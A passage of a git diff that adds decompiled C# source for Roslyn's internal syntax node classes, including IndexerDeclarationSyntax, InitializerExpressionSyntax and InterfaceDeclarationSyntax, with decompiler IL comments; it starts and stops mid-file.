accessorList, + 7 => expressionBody, + 8 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIndexerDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIndexerDeclaration(this); + } + + public IndexerDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax accessorList, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || thisKeyword != ThisKeyword || parameterList != ParameterList || accessorList != AccessorList || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + IndexerDeclarationSyntax indexerDeclarationSyntax = SyntaxFactory.IndexerDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, thisKeyword, parameterList, accessorList, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + indexerDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(indexerDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + indexerDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(indexerDeclarationSyntax, (IEnumerable)annotations); + } + return indexerDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new IndexerDeclarationSyntax(base.Kind, attributeLists, modifiers, type, explicitInterfaceSpecifier, thisKeyword, parameterList, accessorList, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new IndexerDeclarationSyntax(base.Kind, attributeLists, modifiers, type, explicitInterfaceSpecifier, thisKeyword, parameterList, accessorList, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal IndexerDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 9; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = (ExplicitInterfaceSpecifierSyntax)reader.ReadValue(); + if (explicitInterfaceSpecifierSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifierSyntax); + explicitInterfaceSpecifier = explicitInterfaceSpecifierSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + thisKeyword = syntaxToken; + BracketedParameterListSyntax bracketedParameterListSyntax = (BracketedParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bracketedParameterListSyntax); + parameterList = bracketedParameterListSyntax; + AccessorListSyntax accessorListSyntax = (AccessorListSyntax)reader.ReadValue(); + if (accessorListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorListSyntax); + accessorList = accessorListSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)explicitInterfaceSpecifier); + writer.WriteValue((IObjectWritable)(object)thisKeyword); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)accessorList); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static IndexerDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(IndexerDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new IndexerDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IndexerMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IndexerMemberCrefSyntax.cs new file mode 100644 index 0000000..4cec095 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IndexerMemberCrefSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class IndexerMemberCrefSyntax : MemberCrefSyntax +{ + internal readonly SyntaxToken thisKeyword; + + internal readonly CrefBracketedParameterListSyntax? parameters; + + public SyntaxToken ThisKeyword => thisKeyword; + + public CrefBracketedParameterListSyntax? Parameters => parameters; + + internal IndexerMemberCrefSyntax(SyntaxKind kind, SyntaxToken thisKeyword, CrefBracketedParameterListSyntax? parameters, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisKeyword); + this.thisKeyword = thisKeyword; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal IndexerMemberCrefSyntax(SyntaxKind kind, SyntaxToken thisKeyword, CrefBracketedParameterListSyntax? parameters, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisKeyword); + this.thisKeyword = thisKeyword; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal IndexerMemberCrefSyntax(SyntaxKind kind, SyntaxToken thisKeyword, CrefBracketedParameterListSyntax? parameters) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisKeyword); + this.thisKeyword = thisKeyword; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameters); + this.parameters = parameters; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => thisKeyword, + 1 => parameters, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.IndexerMemberCrefSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIndexerMemberCref(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIndexerMemberCref(this); + } + + public IndexerMemberCrefSyntax Update(SyntaxToken thisKeyword, CrefBracketedParameterListSyntax parameters) + { + if (thisKeyword != ThisKeyword || parameters != Parameters) + { + IndexerMemberCrefSyntax indexerMemberCrefSyntax = SyntaxFactory.IndexerMemberCref(thisKeyword, parameters); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + indexerMemberCrefSyntax = GreenNodeExtensions.WithDiagnosticsGreen(indexerMemberCrefSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + indexerMemberCrefSyntax = GreenNodeExtensions.WithAnnotationsGreen(indexerMemberCrefSyntax, (IEnumerable)annotations); + } + return indexerMemberCrefSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new IndexerMemberCrefSyntax(base.Kind, thisKeyword, parameters, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new IndexerMemberCrefSyntax(base.Kind, thisKeyword, parameters, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal IndexerMemberCrefSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + thisKeyword = syntaxToken; + CrefBracketedParameterListSyntax crefBracketedParameterListSyntax = (CrefBracketedParameterListSyntax)reader.ReadValue(); + if (crefBracketedParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)crefBracketedParameterListSyntax); + parameters = crefBracketedParameterListSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)thisKeyword); + writer.WriteValue((IObjectWritable)(object)parameters); + } + + static IndexerMemberCrefSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(IndexerMemberCrefSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new IndexerMemberCrefSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InitializerExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InitializerExpressionSyntax.cs new file mode 100644 index 0000000..44ecf71 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InitializerExpressionSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InitializerExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? expressions; + + internal readonly SyntaxToken closeBraceToken; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public SeparatedSyntaxList Expressions => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(expressions))); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal InitializerExpressionSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? expressions, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (expressions != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(expressions); + this.expressions = expressions; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal InitializerExpressionSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? expressions, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (expressions != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(expressions); + this.expressions = expressions; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal InitializerExpressionSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? expressions, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (expressions != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(expressions); + this.expressions = expressions; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBraceToken, + 1 => expressions, + 2 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInitializerExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInitializerExpression(this); + } + + public InitializerExpressionSyntax Update(SyntaxToken openBraceToken, SeparatedSyntaxList expressions, SyntaxToken closeBraceToken) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken == OpenBraceToken) + { + SeparatedSyntaxList val = Expressions; + if (!((ref expressions) != (ref val)) && closeBraceToken == CloseBraceToken) + { + return this; + } + } + InitializerExpressionSyntax initializerExpressionSyntax = SyntaxFactory.InitializerExpression(base.Kind, openBraceToken, expressions, closeBraceToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + initializerExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(initializerExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + initializerExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(initializerExpressionSyntax, (IEnumerable)annotations); + } + return initializerExpressionSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InitializerExpressionSyntax(base.Kind, openBraceToken, expressions, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InitializerExpressionSyntax(base.Kind, openBraceToken, expressions, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InitializerExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBraceToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + expressions = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBraceToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)expressions); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static InitializerExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InitializerExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InitializerExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InstanceExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InstanceExpressionSyntax.cs new file mode 100644 index 0000000..345a72b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InstanceExpressionSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class InstanceExpressionSyntax : ExpressionSyntax +{ + internal InstanceExpressionSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal InstanceExpressionSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected InstanceExpressionSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterfaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterfaceDeclarationSyntax.cs new file mode 100644 index 0000000..a71e9fc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InterfaceDeclarationSyntax.cs @@ -0,0 +1,417 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InterfaceDeclarationSyntax : TypeDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken identifier; + + internal readonly TypeParameterListSyntax? typeParameterList; + + internal readonly ParameterListSyntax? parameterList; + + internal readonly BaseListSyntax? baseList; + + internal readonly GreenNode? constraintClauses; + + internal readonly SyntaxToken? openBraceToken; + + internal readonly GreenNode? members; + + internal readonly SyntaxToken? closeBraceToken; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override SyntaxToken Keyword => keyword; + + public override SyntaxToken Identifier => identifier; + + public override TypeParameterListSyntax? TypeParameterList => typeParameterList; + + public override ParameterListSyntax? ParameterList => parameterList; + + public override BaseListSyntax? BaseList => baseList; + + public override SyntaxList ConstraintClauses => new SyntaxList(constraintClauses); + + public override SyntaxToken? OpenBraceToken => openBraceToken; + + public override SyntaxList Members => new SyntaxList(members); + + public override SyntaxToken? CloseBraceToken => closeBraceToken; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal InterfaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal InterfaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal InterfaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => keyword, + 3 => identifier, + 4 => typeParameterList, + 5 => parameterList, + 6 => baseList, + 7 => constraintClauses, + 8 => openBraceToken, + 9 => members, + 10 => closeBraceToken, + 11 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterfaceDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterfaceDeclaration(this); + } + + public InterfaceDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, BaseListSyntax baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + InterfaceDeclarationSyntax interfaceDeclarationSyntax = SyntaxFactory.InterfaceDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + interfaceDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interfaceDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + interfaceDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(interfaceDeclarationSyntax, (IEnumerable)annotations); + } + return interfaceDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InterfaceDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InterfaceDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InterfaceDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got 